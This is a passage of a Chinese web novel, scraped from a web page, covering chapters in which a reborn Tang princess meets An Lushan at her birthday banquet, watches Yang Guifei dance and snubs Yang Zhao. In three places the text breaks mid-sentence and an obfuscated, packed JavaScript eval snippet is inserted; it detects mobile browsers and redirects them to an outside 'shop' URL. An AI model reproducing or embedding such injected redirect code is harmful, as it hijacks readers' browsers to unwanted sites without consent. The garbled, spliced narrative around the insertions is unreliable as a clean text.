男子脸上没有胡须,身上穿戴着西域的服装和配饰,胸前的衣襟敞开着,可见胸口的肌肤白皙似雪,站在被伴舞们簇拥在中间,如同一座巍峨的高山一般。 这就是安禄山吗...... 西域的服装本就是搭配着各种金色的首饰,今日阳光明媚,安禄山那满身的金色配饰在热烈的阳光下闪闪发光,尤其是那对镶嵌着宝石的耳坠,随着他的步伐微微晃动着,几乎要闪瞎李婉宁的眼。 哇...... 古代一直谨遵着“身体发肤,受之父母”的圣谕,即便是在大唐,打耳洞也是一件被唾弃的事情,唯有那些胡人亦或外邦人,他们的习俗中没有这一条,故而可以佩戴耳饰。 安禄山是出身栗特族,所以他也会戴耳饰。 你别说,你还真别说,这副耳坠戴着他的耳朵上,还真挺配的。 那对耳坠几乎有她手掌那么大,如果是纯金的,一定很重。 可正是因为它大,搭配着安禄山高大的身形,才更显得有了种别样的魅力。 ......等等。 这,这个身影...... 李婉宁眼见着这个犹如一头白熊般的男子对着自己的方向躬身行礼,他相貌自然说不上有多英俊,可是脸上的神情却是无比的认真,那双因为体型而显得有些凶悍的眼眸中写满了专注。 她难以置信地瞪大双眸,一双小手紧紧地攥在一起。 这,这个身影,也太熟悉了。 和,和昨夜那个,那个救了她和巧织的人…… 昨夜,那个男人说,他姓安,是戍边的一个武将。 安禄山,官任幽州节度副使...... 怎么会这样...... 历,历史上不是说,安禄山性格阴险狡诈,暴躁残忍吗! 那,那他为什么,为什么会在昨夜救她?! 而且,而且…… 她昨夜,还咬了对方的手指一口来着…… 对方当时也没有生气啊,看起来,脾气也不差啊…… 怎么会…… 李婉宁失神地看着场上的男子,这时,男子行礼过后直起身,抬眸也看到了自己。 一时间四目相对。 两人皆是一愣。 谁也没有料到,对方会看向自己。 安禄山从方才就在渴望着能够凑近些看到公主殿下,如今真的如愿,心中早已被难以抑制的激动填满。 而他无论如何都没有想到,他居然还能够和公主殿下对视。 高台上那小小的五官,比起方才看到的愈加清晰了,温婉而又秀丽,宛若天边的轮月,皎洁,柔和,触不可及。 只是…… 为何,公主殿下看起来很失落的样子? 眼见着公主那张秀丽的小脸上写满了不安,那双明亮的眼眸更是被蒙上了一层黯淡,安禄山的眼中几乎是下意识地流露出了几分关切与愕然。 公主殿下她,不开心吗? 而他眼中的神情,却也是分毫不差的落入了李婉宁的眼眸。 李婉宁不由得晃了神。 他为什么...... 望着那写满关切的双眼,此时此刻在李婉宁的心里,场上那个高大的身影,和昨夜的身影彻底重合了。 真的是他…… 可是,昨夜那个救了她和十几个姑娘的男人,英勇善良,怎么会是那个在将来背叛大唐,摧毁她身边一切的逆臣? 也许,也许...... 李婉宁的脑海中灵光一闪。 也许安禄山他,从最开始,也并没有像过要掀起叛乱呢? 也许最初的他,就只是一个骁勇善战的武将,是后来权势滔天、权倾朝野,无边的欲海淹没了他。 人总是会变的。 上一世的大唐,他会沉迷于权势无法自拔,乃至于酿成祸患,也许这一世,他可以不会呢? 可以的吧…… 一定可以的! 毕竟上一世的大唐,也没有长安公主不是吗! 这般想着,李婉宁那双暗淡的杏目里终于重新迸发出了光彩。 而与此同时,安禄山的胡旋舞也开始了。 李婉宁上一世从来没见过胡旋舞,这一世偶尔见过的几次,也都是内教坊的舞女们跳的。 男子跳胡旋舞,她还真是第一次见。 李婉宁饶有兴趣地看着场上,一双重新变得明亮的杏目里满是好奇。 音乐响起了,四周的伴舞们先起舞。 随后,场上那个巍峨的身影也迈出了第一步,他那满身的肌肉都融入到了音乐的节奏之中,随着跌宕起伏的节奏而扭动。 不止是他的动作,他身上那些明亮的配饰,还有衣服上的丝带,都随着他的动作上下飘扬。 胡旋舞起始缓慢,而后动作会越来越快,不断地旋转,跳跃。 女子的胡旋舞是柔媚中迸发力量,而现在李婉宁看着安禄山的舞蹈,竟是在爆发般的力量中透露出柔情。 她整个人都被震撼到了。 那一刻,她的脑中几乎是下意识地浮现出了一个词—— 铁汉柔情。 她似乎是有些明白了,为什么前世安禄山胖到三百斤,阿爹还会让他跳舞。 这个人,虽然长得其貌不扬,毕竟这么胖估计也看不出多少长相。 可是他跳舞的时候,是真的好看啊。 不过......这个安禄山,也没那么胖啊? 哪里有三百斤,看着也就二百多斤的样子。 史书上果然是夸张的嘛。 而且......她印象里,安禄山是至少三四十岁以后才开始发迹的吧? 虽说胖也会显老吧,可是这个人好白啊,比阿娘还要白呢,白又显得年轻。 这样一显老一显年轻的,她居然看不出来这个人的年纪。 好像二十多岁的,又像三十多岁的,还有可能是四十多岁的。 最主要的是,他没有胡子啊。 虽然她也不能肯定,这个安禄山也许是在来花萼相辉楼之前把胡子刮了。 唔...... 不过,至少这个安禄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426332|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山,可不是个肚子垂到膝盖的大胖子。 虽然也有肚子吧,但最多只能算个白白胖胖的“小”胖子。 小胖子,哈哈哈...... 李婉宁不由得笑出了声。 神踏马小胖子,这个安禄山比她阿爹和陈将军还要高呢,至少也得有一米九了吧! 李婉宁这般想着,身侧的李隆基见女儿笑得开心,不禁失笑道:“刚才还哭呢,怎么现在又笑起来了?” 杨玉环含笑着摸了摸女儿的头:“宁儿还是个小孩子呢,哭哭笑笑不记事的。” 李婉宁小小的脸蛋微红,肯,肯定是因为这具身体还是小孩子的身体,才不是因为她自己小呢! 李隆基笑着问女儿:“那宁儿又是想到了什么高兴的事了?” 李婉宁小小的身子忸怩着,她总不能说,是因为她觉得安禄山没有她想象中的是个大胖子,而是个小胖子吧! “唔......宁儿看了半天,也没看出来这个人的年龄,看起来像二十多岁的,又好像三十多岁的样子。” 闻言,李隆基和杨玉环都被逗笑了,就连侍奉在一旁的高力士也不禁失笑。 小孩子就是可爱,脑子里总是有些天真奇怪的想法。 李隆基宠溺地拍了拍女儿的头顶,温声道:“既然宁儿看不出来,那就去问问他便是。” 李婉宁的一双杏目微微发亮:“真的吗,好呀!” 机会啊! 一个能够接触小胖子,防止他变成大胖子的机会! 恰逢这时安禄山的胡旋舞结束了,他那白皙的胸口不断起伏着,光洁的额头上淌满了汗水,朝着高台上的方向又行了一个礼。 他自以为胡旋舞算是他的长处了,跳得应该不会难看,也许公主会因为他的舞而开心一点呢? 他这般想着,再次抬起头时,却看到了一个鹅黄色的身影蹦蹦跳跳地下了高台的台阶,向着他的方向跑来。 安禄山几乎是错愕地看着那迎面而来的小小身影。 小孩子因为鞋子的缘故,跑起步来总是会发出“哒哒哒”的声响,格外讨喜。 公主今日穿着一袭鹅黄色的衣裙,就连绣花的小鞋子都是鹅黄色的,头上的发簪不算多,可每一支都戴得恰到好处。 而在那发簪之中,更是别着一朵硕大妍丽的牡丹花。 今日晴空万里,阳光下的小公主簪着那朵鲜妍的牡丹,竟仿佛一只花丛中的蝴蝶一般,明媚而又灿烂。 于是,那只美丽的小蝴蝶,就这样飞到了他的面前。 而他,也得以彻彻底底地看清,名动长安城的长安公主那俏丽的容颜。 但见公主那粉嫩的脸颊宛若初升的骄阳,脸上的五官宛若娇娇明月,每一寸都长得玲珑而又美好。 尤其是那双明亮的眼眸,一双琥珀色的杏目灿若繁星。 而他,竟在这完全的繁星之中,窥探到了自己的影子。 忽然间,安禄山觉得公主的眼眸里自己的倒影,竟恍若美玉上的一滩污泥,玷污了那皎洁无瑕。 令他卑微,令他狼狈,令他羞愧。 公主,公主她......今年才八岁啊! 仅仅八岁,竟然就已经美得令人失神。 安禄山这般恍然失神间,却见到面前不过八岁的美人胚子微微弯起了眉眼,含笑着问道:“你叫安禄山,对吧?” 11. 阿娘不见了! 灵动的声音,宛若银铃一般悦耳,久久地回荡在安禄山的心田。 看着面前皎洁如明月般的容颜,他匆匆回过神,对着李婉宁恭敬地行了一个礼:“是,微臣安禄山,见过公主殿下。” 而在他弯腰低头的瞬间,一枚佩戴在公主胸前的玉石就这样映入了他的眼帘。 那玉石约莫拇指大小,通体碧绿,翠得清晰可见玉石下襦裙的牡丹绣文,被嵌在一条用纯金打磨而成的项饰中,在阳光下熠熠生辉。 形状和大小,都和他的那枚黑玉一模一样。 而那枚黑玉,此刻正被他带在身上,和眼前这枚翠绿色的玉石只隔了一层衣袍。 公主她,也是衔玉降生的...... 此时此刻,安禄山尚未想明白这究竟意味着什么,可是一种奇异的感觉,已经悄无声息地在他心中扎下了根。 随后,他便听到眼前的公主含笑道:“我想问你一个问题。” 安禄山微微抬起头,看着眼前明媚俏丽的容颜,他几乎要用尽全部的气力,才能避免自己从这明媚的笑容中沦陷。 “公主请讲,臣必知无不言。” 公主会问他什么呢? 也许会问他为什么会生得这么胖吧,又或者是问他的家世? 毕竟他从小到大,遇见别人问过最多的问题,就是他的身材和出身。 那肥胖臃肿的身材,和那卑微到了泥土里的邪恶出身。 而这样的问题一旦问出口,无一例外会将他羞辱得体无完肤。 ……没关系,反正他早就已经习惯了。 安禄山在心里有些嘲讽地笑了。 他看着眼前皎若明月般的面容,那小小的脸蛋比对方头上那朵藕荷色的牡丹还要粉嫩,而那双明亮的杏目亦是圣洁如美玉,不忍有一丝一毫的瑕疵。 可是,越是天真而又纯洁的话语,有时候却是最易伤人心。 有那么一瞬间,他想要祈求小公主不要问他这两个问题,不要在全长安数以万计的子民面前,碾碎他仅剩不多的尊严和体面。 但是他终究没有。 身为藩将,他若想在这个位置上待下去,甚至于他若想将来再回到长安,那他就必须讨好这些人。 讨好他的上司,讨好长安的勋贵,讨好皇室,讨好……他面前的长安公主。 他的眼底闪过转瞬即逝的悲哀。 而在那悲哀的目光中,面前的小公主朱唇轻启,含笑着问他—— “你今年多少岁啦?” 安禄山几乎是在瞬间晃了神。 他,他今年多少岁了…… 在短短的片刻之间,安禄山想过一万种问题的可能,可是他万万没有想到,小公主竟然会问出这样的问题, 片刻后,他如梦初醒,连忙道:“回殿下,微臣今年弱冠。” “弱冠?”李婉宁那张精致的小脸上是显而易见的惊讶,“那就是二十呀!” 天啊,怎么这个小胖子才二十岁?! 史书再怎么记载有误,也不至于把年龄写老这么多吧! 难道,难道...... 李婉宁的脑海中闪过一个最合理的可能。 也许这一世的大唐,和她上一世的那个大唐,本就不一样。 从一开始就不一样。 想到此,李婉宁的心里几乎是在顷刻间便释怀了。 如果,真的从一开始就不一样的话,那也许...... 也许这一世的大唐,真的不必经历安史之乱。 那样的话,那可真是太好了! 李婉宁的眼中闪过一丝欣喜的神色,连带着看眼前的小胖子都觉得可爱了许多。 她抬眸瞥过安禄山满头的汗水,那双明亮的杏目眨了眨:“呀,你额头都流汗了!” 彼时,安禄山眼见着面前的长安公主在听到他的年龄以后,那双绝色的眼眸中竟然闪过一丝欣喜。 他还尚未想明白公主因何而高兴,便蓦然间听到了这句话。 紧接着,眼前的小公主便从自己身上掏出了一方浅蓝色的手帕。 那帕子用的是全长安最好的布料,上面却没有绣着任何花纹,唯独在其中的一角,绣着一个不算好看的“宁”字。 想来是公主贴身使用的帕子。 随后,面前金枝玉叶的长安公主竟然踮起脚尖,一手举着手帕,想要伸向他的额头。 公主今年才八岁,长得小小的一只,而他天生长得高大,公主就算再怎么往上伸,也只是勉强碰到他的胸口。 安禄山连忙蹲下身子,让公主能够碰到他的额头。 于是,他就这样看着公主伸出那小巧白皙的手,举着那方淡蓝色的手帕,轻轻地拂过他的额头,擦掉了他满头的汗水。 而他的一整片心田,亦是宛如春风过境,霎那间,万物都宁静了。 徒留下了眼前这明媚的骄阳,照亮他内心的每一寸泥土。 不知过了多久,眼前的小公主终于收回了那方已经被汗水浸湿的帕子。 公主没有丢弃那方帕子,也没有把它赏给自己,而是细致地、认真地,将这方已经被他的汗水沾染的帕子折叠好,然后收了起来。 这是他这滩生来背负着不祥的污泥第一次没有因为自己的肮脏而遭到厌恶。 而肯接纳这滩污泥的,竟是这世间最宝贵的美玉。 安禄山的心里逐渐翻涌起了一种说不清道不明的情绪,很酸涩,却又不止酸涩。 恍然间,他听得那块圣洁的美玉对他笑了。 “安禄山,你的舞跳得真好看!” 他几乎是拼了命才忍住了将要浮出眼中的泪水,低下头道:“臣,谢殿下夸赞!” 而后,小公主似是皱着眉头思索了一番,然后灵光一闪,从自己的头上摘下了那朵藕荷色牡丹,将它举到了自己的眼前。 “唔,你的舞跳得那么好看,可是我没有带其他的花,只有这一朵。” “但是这朵牡丹是整座皇宫里开得最大最漂亮的花,而且它好香的!”小公主举着一双小手,那掌心轻轻地捧起着一朵花开鲜艳的牡丹。 而她的笑容,胜过这世间一切的灯火阑珊。 “送给你!” 有那么一瞬间,安禄山仿佛真的看到了天上的牡丹仙子降临在他的面前。 他受宠若惊地伸出手,几乎是有些颤抖地接过了那朵妍丽却不妖媚,正散发着清幽香气的牡丹。 牡丹乃是大唐的国花,有着“国色天香”的美誉,而眼前这朵更是他这辈子见过的最美的牡丹。 可是它即便是再美丽,比起面前的小公主,也丝毫不值一提。 彼时,场下的观众们已经惊呆了。 那些狂热的信徒,全都在近乎痴迷地看着场上的长安公主,看着他们的牡丹仙子,亲自为那个胡人擦拭汗水,而后赠给了那个胡人他们大唐的国花,丝毫不嫌弃对方的出身和相貌。 公主恩泽,万民同享。 这就是他们最善良、最美好的长安公主啊! 而那些坐在客座处的勋贵们,几乎是嫉妒地盯着场上的安禄山。 自然也有部分人是嫉妒这个叫安禄山的胡人能够和公主近距离的接触。 可更重要的是...... 满朝文武都知道,他们来参加长安公主的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14426333|153733||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生辰宴,当然不只是为了参加生辰宴那么简单! 这次的生辰宴,对于整个大唐文武官员来说都是一个极为宝贵的机会。 一个能在陛下面前露脸的好机会! 今日的公主生辰宴,无论是多么偏远的臣子都能来到长安道贺,这对于那些戍边的将领和官员来说,更是至关重要! 尤其是,如果他们能在生辰宴上哄得小公主的开心,那还愁不被陛下记住吗? 既然都被陛下记住了,那以后的仕途还愁不能步步高升吗?! 为了这次的生辰宴,整个大唐无数的文官武将磨拳擦踵,会跳舞的排演舞蹈,会奏乐的演奏乐器,几乎是使出了浑身解数。 却没想到被一个胡人出身的藩将拿了头筹! 而且,而且小公主居然亲自给他擦汗!!! 客座上,无数的大臣都快嫉妒疯了,而有些聪明点的,则开始向周围的同僚小声地打听着这个胡人的来历。 朝中其实一直都有重用藩将的势头,而最近几年这种势头更是俞来愈盛,若是这个叫安禄山的武将日后能平步青云,早些与其交好,自然是只有好处没有坏处。 而场上的安禄山丝毫不知,场下的满朝文武已经因为他而开始蠢蠢欲动。 此时此刻,他的眼里唯有那个正站在他的身前,容颜秀丽可爱到令全长安为之倾倒,笑容几乎能照亮整个世间的小小身影。 随后,高台上传来了一道呼喊:“宁儿!” 众人闻言一起跟着扭过头,便见到那高大的龙椅之上,人世间的天子,整个大唐的帝王,连同他身侧那世间最尊贵美丽的女人,正温柔地注视着场上的女儿,神情中溢满了慈爱的笑意。 李婉宁笑着向自己的阿爹阿娘跑去:“宁儿来啦!” 于是,安禄山就这样看着面前蝴蝶轻快地飞走了,就如同她飞来时那般。 徒留下她头上的那朵牡丹花,正静静地躺在自己的手中,散发着清雅的香气。 这就是,大唐的牡丹仙子,长安公主啊...... 安禄山已经忘记了自己是如何退场的,乃至于途径自己的座位,周围同僚的示好都被他下意识地草草应付了事。 他的整个人都有些虚幻。 恍惚间,他仿佛又想起了自己十二岁时做的那场梦,那个美如仙境般的院子,那个美若仙子般的少女。 这就是,长安...... 宴会仍旧在进行着,因着李婉宁的这一上场,更是将宴会推向了高潮。 不过自然,她的注意力并没有在安禄山的身上停留太久,而是继续饶有兴致地欣赏着余下的节目。 直到天色将暗,花萼相辉楼里的夜明珠开始发出亮光,那些节目也逐渐步入了尾声。 李婉宁打了个哈欠:“唔......终于结束了。” 在座位上坐一天,也挺累的。 她扭过头,想要依偎到阿娘的怀里。 这时李婉宁才发现,自己的右侧已经没了人影。 她小小的脑袋连忙左顾右盼着,却根本没有看到阿娘的影子。 反倒是左侧的李隆基注意到了女儿的动作。 他微微低下头,轻声问向身侧的宝贝女儿:“宁儿在找什么?” 李婉宁紧紧地抓着阿爹的衣袖,那一双水汪汪的杏目中满是焦急:“阿爹,阿娘找不到了!” 闻言,李隆基却是轻轻地笑了一下。 随后场上响起了热烈的惊呼声,而后是愈加狂热的呼喊。 李婉宁连忙扭过头,却见到她的阿娘,正身着一袭西域的舞裙,被舞女们簇拥着站在场上,含笑望着自己的女儿。 12. 看阿娘跳舞! 李婉宁那一双杏目不可思议地瞪大。 而后,在她惊讶的目光中,音乐翩然响起。 而她的阿娘,也随着音乐开始起舞了。 是,胡旋舞...... 但见场上的杨玉环身形妙曼,舞姿更是美到了极点,举手投足间,令满场观众屏息凝神。 这就是......他们大唐的荣耀,他们的贵妃娘娘吗! 而李婉宁却莫名的有些不安,她的一双紧紧地攥着阿爹的衣袖,越来越紧。 阿,阿娘她,怎么跑到场上去了? 忽然间,她的发顶被人轻轻地拍了一下。 李婉宁连忙扭过头,随后便见到了阿爹脸上慈爱的笑意。 “当年你阿娘怀胎还不到八个月就生下了你,你又生来身负奇相,那时啊,满长安都在传言,说你注定活不到八岁。”李隆基这般说着,温柔地望向场上翩翩起舞的杨玉环,“如今,今日就是你八岁的生辰了。” “你阿娘她高兴啊。” 此言一出,李婉宁几乎是在瞬间便模糊了眼眶。 她双眼通红地看着自己的阿爹,哽咽道:“所以,宁儿今年的生辰,阿爹才会举办得这么盛大吗?” 李隆基低头看着身侧哭得梨花带雨的女儿,伸出手轻轻地揩掉那张秀丽小脸蛋上的泪水,一双威严的龙目此刻溢满了温柔:“没错。” “今日宁儿的生辰宴,四方来客,万邦来朝。”他这般说着,望向场下无数的观众,眼中重新恢复了属于天子的威严和庄重,“阿爹就是要告诉全天下,朕的女儿,不仅平平安安地活到了八岁,以后还要长命百岁!” 李婉宁已经哭得上气不接下气了,她伸出两条小胳膊紧紧地抱住了阿爹,无声地流着眼泪。 她的阿爹和阿娘,为什么会对她这么好…… 她何德何能啊! 不知过了许久,小小的人儿才堪堪平复好心情,她伸出小手抹掉自己的眼泪,却忽地又想到了什么。 李婉宁有些心虚地低下头,小声问道:“那昨日,宁儿偷偷溜出去,阿爹和阿娘是不是......” 她的阿爹阿娘,肯定吓坏了吧...... “是啊。”李隆基轻轻地揉了揉女儿低垂的小脑袋瓜,语气中多了几分无奈,“你从小就体弱多病,好不容易磕磕绊绊地长到这么大,结果昨夜却突然失踪了。” 说到此,他微微叹了口气。 “当时临你八岁的生辰只差一天了啊,你阿娘都哭坏了,生怕你真的应了那个传言。” 于是李婉宁好不容易止住的泪水再次汹涌而出。 本来多么粉雕玉琢的小孩子此刻哭成了泪人,不断地抽泣着。 “宁儿,宁儿……对不起阿爹阿娘,害阿爹阿娘担心了……” 见到女儿哭成这样,李隆基又是心疼又是欣慰。 他的女儿,从小到大都太过懂事了。 他不禁伸出手,一下又一下地顺着女儿的背,温柔地安慰着:“宁儿不哭不哭啊,都过去了。” “宁儿现在平安地度过了八岁,就是阿爹阿娘最高兴的事了。” 安慰到最后,李隆基笑着捏了捏女儿的鼻子:“哎哟……瞧瞧这小鼻子都哭红了,宁儿开心一点,咱们一起看娘跳舞,好不好?” 李婉宁哭着点头。 对,今日是她的生辰,这支舞是阿娘专门给她跳的,她一定要好好欣赏。 她泪眼朦胧地抬起头看向场上,视线却早已被泪水吞没。 这时,模糊的视线里出现了一只大手,而在那只大手的手心里,静静地躺着一只手帕。 李婉宁伸出手接过那只手帕,声音里还带着微小的哭腔:“谢谢高公公。” 高力士的眉眼间亦是布满了慈爱,含笑看着小公主:“今日是小殿下的生辰,小殿下要开心点啊。” 李婉宁用手帕擦干了眼泪,用力点头:“嗯!” 她已经在心里下定了决心,她一定要努力保护好自己的阿爹和阿娘,保护好身边的一切。 她一定要阻止安史之乱的到来! 末了,李婉宁略微歪了歪小身子,依偎在阿爹的怀里,和阿爹一起欣赏着场上阿娘妙曼的舞姿。 她的阿娘,实在是太美了…… 明明阿娘身着的是一袭浅蓝色的舞裙,而四周的伴舞却是鲜艳的红色。 可即便如此,那些伴舞在阿娘的对比下,竟全部黯然失色。 唔……阿娘精通音律、能歌善舞,阿爹也是,谱曲奏乐,无所不能。 结果俩人生出来个什么都不会的自己…… 想到此,李婉宁不禁瘪了瘪嘴,小声嘟囔道:“宁儿好笨,阿爹阿娘都这么厉害,结果自己什么都不会……” 身侧的李隆基闻言,不禁大笑:“朕的女儿,什么都不需要会,生来就是享受的!” 其实李隆基和杨玉环都知道,他们的女儿对音乐也是有着很高的天赋。 只是这孩子从小就一直在生病,他们恨不得让女儿多休息,能够把小身子养得再好一些,又哪里舍得让女儿去学那些东西呢? 这般想着,李隆基看向女儿的目光愈加得温柔。 他的贵妃不仅是他的爱人,更是他的音乐知己。 而他和贵妃所生下的女儿,不禁像极了他们,更是继承了他们的天赋。 这是他们爱的延续啊。 而李婉宁听到阿爹的话,高兴地伸出手,抱住了阿爹的手臂,欢呼道:“阿爹最好了!” 李隆基失笑着揉了揉女儿的小脑袋瓜。 这时,音乐停了。 杨玉环跳完了一支胡旋舞,在摆出最后的谢幕动作时,刚好和自己的女儿四目相对。 于是,场上的杨玉环对着自己的女儿缓缓张开了手臂,那张美艳动人的脸上泛着温柔的笑意。 李婉宁的那双杏目蓦然发亮,她激动地从龙椅上站起来,迈着自己的小腿跑下了台阶,开心地扑进了阿娘的怀里。 “阿娘——!” 万众瞩目的场上,母女两人拥抱在一起,那一大一小两张相似的倾城面容上皆满溢着幸福的笑容,亲昵地贴着对方的脸颊。 这一幕,美得无数人忘记了呼吸。 这就是,他们大唐的贵妃娘娘和长安公主。 这是他们大唐的荣耀啊! 场下的客座处,安禄山望着这美若画卷般的一幕,他的手紧紧地握着椅子的扶手,竟将那细密的实木握到凹陷变形。 公主殿下,当真像极了贵妃娘娘...... 而在客座处的另一个角落里,还有一个身着翰林官服的男子近乎痴迷地望着这一幕,他的双颊因为醉酒而显露出一丝红晕,双眼迸发着异样的光芒。 “这,这就是......” 他轻轻地笑了,声音因为激动而微微发颤:“云想衣裳......花想容......” 待到杨玉环的这支舞毕,这场万民同欢的公主生辰宴也终于结束了。 楼内的百姓在禁卫的驱使下逐渐离场,他们的脸上皆带着心满意足的笑容。 无数信徒的眼中闪烁着狂热的目光,方才他们的贵妃娘娘和公主殿下相拥的那一幕,足以雕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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李婉宁双手环胸,骄傲地仰起头:“那当然,我可是阿爹和阿娘的小心肝!” 看着小丫头得意的模样,李隆基开怀地大笑,身边人也都忍俊不禁。 末了,杨玉环笑着刮了刮女儿的小鼻子,解释道:“这首曲子可是你阿爹亲手谱的,用来给他的小心肝过生辰的!” 李婉宁惊讶地看向自己的阿爹,而后者慈爱的脸上则是多了几分得意。 她惊喜地扑进了阿爹的怀里,抱住阿爹脖子,在阿爹的脸上也亲了一大口。 “阿爹最好了!宁儿最喜欢阿爹了!” 李隆基被女儿亲得喜笑颜开,不禁逗弄地问女儿:“那是你的阿娘好,还是阿爹好啊?” 闻言,李婉宁略微一愣,继而鼓起自己的小脸蛋,不开心地看着阿爹。 混蛋阿爹知不知道,每个小孩子都最讨厌这种问题了! 她撅起小嘴,嘟囔道:“阿爹和阿娘都是最好的嘛,都是天底下对宁儿最好的人呀!” 这一副小性子的模样,却是说出了最讨喜的话,身边的人都被逗笑了。 这时,自不远处的台阶上走来了四个人,三女一男,男子身材高大,面容俊朗,女子更是花容月貌,姿态婀娜,眉眼间和杨玉环有着几分相像。 这四个人皆身着华裳,面色带笑,走上二楼以后,径直朝着主座的方向走来。 待到他们走得近了,李婉宁终于得以看清来者。 她那双灵动的杏目闪闪发光,开心地站起身,朝着来者跑去。 “大姨姨,三姨姨,八姨姨!” 13. 群玉山头见 来者便是杨玉环的三个姐姐。 以及跟在她们身后的杨钊。 三位国夫人见到小外甥女朝她们欢天喜地地跑来,脸上纷纷带着慈爱的笑容。 “哎哟,咱们的小宁儿如今也八岁咯!” 李婉宁上去挨个和姨母们抱抱,粉嫩的小脸上带着骄傲的神情:“宁儿八岁了,现在已经是个大孩子了哦!” 三个姨母都被逗笑了,宠溺地揉着李婉宁的发顶:“好好好,咱们的小宁儿是大孩子了!” 这时,杨玉环的三姐虢国夫人指着身后的杨钊,含笑问道:“那咱们的大孩子来看看,这是谁?” 大孩子李婉宁一转眼看到了面容带笑的杨钊,却是连忙躲进了八姨秦国夫人的怀里,那双明亮的杏目里带着几分警惕。 “哎哟,咱们的大孩子怕生了呀!”虢国夫人轻轻揉了揉李婉宁的小脑袋瓜,笑着介绍道,“这是你的杨钊舅舅,现在官任度支员外郎。” 杨钊的脸上带着几分讨好的笑容,伸出手也想要轻轻地碰一碰李婉宁的发顶。 然而李婉宁却是将头略微一偏,轻巧地躲开了。 即便是有了三姨的介绍,她那双灵动的眼眸仍旧没有放下警惕。 “......舅舅好。” 杨钊见到李婉宁不喜欢自己,面上闪过一丝心痛,却仍旧强颜欢笑道:“小宁儿忘了吗,你刚生下来那会儿我还抱过你呢!” 虢国夫人不禁笑着道:“你还说呢,那个时候宁儿才刚生下来,怎么可能会记得呀!” 杨钊笑着挠头:“是啊,瞧着我这记性。” 李婉宁当然没有忘。 她降生那夜,刚好杨钊来找阿娘,当时阿娘生完了她已经昏睡过去了,然后阿爹就让杨钊抱一抱她。 然后杨钊才刚一碰到她,她就嚎啕大哭,直接给阿爹吓了一跳。 正想着,杨玉环适时走了上来,含笑看着自己的三个姐姐:“大姐、三姐,还有八姐,咱们有段时日没见了。” 李婉宁连忙又钻进了阿娘的怀里。 三位国夫人皆面带微笑,温柔地看着自己的妹妹:“哎哟几日不见,咱们的小妹可真是越来越漂亮了呢!” 大姐韩国夫人欣慰地看向自家小妹:“从前咱们的小妹也不怎么爱笑,就好比啊一朵漂亮的花儿蒙了尘,可是自从生了宁儿以后啊,小妹脸上的笑是一日比一日多了!” 八姐秦国夫人亦是笑着附和道:“要么说是当娘的人了呢!” 杨玉环被姐姐们说得面露羞涩。 随后便见到三姐虢国夫人走上前来,伸出手轻轻地将小妹落在鬓间的一缕发丝别到脑后,温声问道:“小妹这些时日过得可还好?” 杨玉环自是含笑着点头:“一切都好,劳烦姐姐牵挂了。” 虢国夫人宠溺地点了点自家小妹的鼻子,嗔怪道:“你这是哪里话,什么劳烦不劳烦的,你是我的亲妹妹,跟我还客气什么。” 杨玉环笑着点头称是。 秦国夫人打趣道:“小妹自小就和三姐关系好,好似只有你俩才是亲姐妹似的呢!” 闻言,虢国夫人这才看向八妹:“怎么,你吃醋了呀!” “我哪敢啊!”秦国夫人笑着回应。 几人都笑了。 这时,韩国夫人朝三个妹妹招了招手:“你们都快来就坐吧,有什么话边吃边说也无妨!” “来啦!” 于是姐妹几个连带着李婉宁都笑着去了位置上。 见到几位夫人们和娘娘公主都走了,杨钊有些无措地伸出手,这时虢国夫人停下来看着杨钊,略微摇了摇头。 杨钊知道,虢国夫人是在提醒他不要心急,可是他根本没法不心急啊! 八年了,从小殿下生下来那日到今日,已经整整八年了! 他用了八年的时间,才勉勉强强地从右金吾卫曹参军擢升到了一个小小的度支员外郎! 这八年来,他费尽心思讨好着自家的四位族妹和小公主,眼见着三位国夫人是越来越欣赏他,不遗余力地在陛下面前夸奖他,贵妃娘娘对她的态度却是一直不冷不热。 至于小公主,更是有意无意地忽视自己,一直当作看不见。 小公主当初呱呱落地的时候便是,只要自己一碰到她就哭,仿佛天生不喜欢自己似的。 杨钊实在是搞不懂,他也长得不凶不丑啊,难道就这么不讨小孩子喜欢吗? 此时此刻,如果李婉宁能够听到杨钊的心声,绝对会说一句—— 开玩笑,她当然不可能喜欢杨钊啊! 那可是有名的大奸臣杨国忠! 她就算是历史再烂,也不可能不清楚杨国忠是祸乱大唐朝纲的顶级大坏蛋! 虽然他和安禄山一个奸臣一个逆臣,但至少人家安禄山是真的骁勇善战,是有真才实干在身上的。 安禄山的那个什么三镇节度使还是四镇节度使来着......哎呀别管是几镇,反正人家当上节度使的那个位子,尽管也有谄媚贿赂的关系,可是那个位子人家是真的配得上。 但是眼前这个杨钊杨国忠,他是真的干啥啥不行,捣乱第一名啊! 现在眼见着杨钊悻悻而去,李婉宁的心里闪过一丝邪恶的快意。 没错,她就是故意的! 她知道,明明三位姨母都这么力荐杨钊了,可是这八年来阿爹只给他只升了一次官,阿娘也一直冷淡他,就是因为自己不喜欢他。 